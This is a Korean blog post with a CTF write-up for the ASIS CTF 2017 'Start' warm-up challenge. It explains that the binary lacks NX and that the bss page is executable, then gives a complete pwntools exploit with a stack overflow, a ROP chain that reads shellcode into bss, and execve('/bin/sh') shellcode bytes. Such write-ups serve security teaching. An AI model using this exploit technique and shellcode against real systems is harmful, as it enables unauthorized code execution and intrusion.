티스토리 뷰

CTF write-up

Asis ctf 2017 Start(Warm up)

marshimaro aSiagaming 2017. 4. 12. 13:17

바이너리 파일을 분석해보면 64비트 파일에 stripped되어있으며 ASLR말고는 모든 것에서 프리하다.


따라서 NX가 걸리지 않은 점을 이용하여 쉘코드를 스택이나 힙에서 실행시키는 방향으로 페이로드를 짜주면된다.

-> ASLR이 걸린상황이므로 스택의 buffer를 알아내는 것은 힘들다. bss영역에서 임의의 값을 추가해주어 힙영역에서 실행시키도록 한다.


무언가 잘못알고 있었던거 같다... bss + 0x100은 heap영역이 아니라고 한다. 그러면 무슨 영역이며 왜 쉘코드가 실행되는거지?


--> 메모리는 page(0x1000)단위로 할당. 따라서 해당영역자체는 bss영역.

NX가 걸려있지않아 pid를 바탕으로 실행시켜놓고 /proc/[pid]/maps로 관찰한 결과, bss페이지엔 실행권한이 있다.


from pwn import *

import struct


host = '192.168.0.8'

port = 50002


p = remote(host,port)


read_plt = 0x400400

exploit = 0x601038 + 0x100

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

pop_rdi = 0x4005c3

pop_rsi_r15 = 0x4005c1

pop_r13_14_15_ret = 0x4005be




payload = ''

payload += "A"*16

payload += "B"*8

payload += p64(pop_rdi)

payload += p64(0)

payload += p64(pop_rsi_r15)

payload += p64(exploit)

payload += p64(0)

payload += p64(read_plt)

payload += p64(exploit)


p.sendline(payload)

p.sendline(shellcode)


p.interactive()


'CTF write-up' 카테고리의 다른 글

Defcon 2017 crackme Write-up  (0) 2017.05.02
codegate 2014 nuclear  (0) 2017.04.27
Codegate 2014 angry_doraemon  (0) 2017.04.25
Plaid CTF 2013 ropasaurusrex  (0) 2017.04.24
Asis ctf 2017 start_hard  (0) 2017.04.13
Asis ctf 2017 Start(Warm up)  (0) 2017.04.12
댓글
댓글쓰기 폼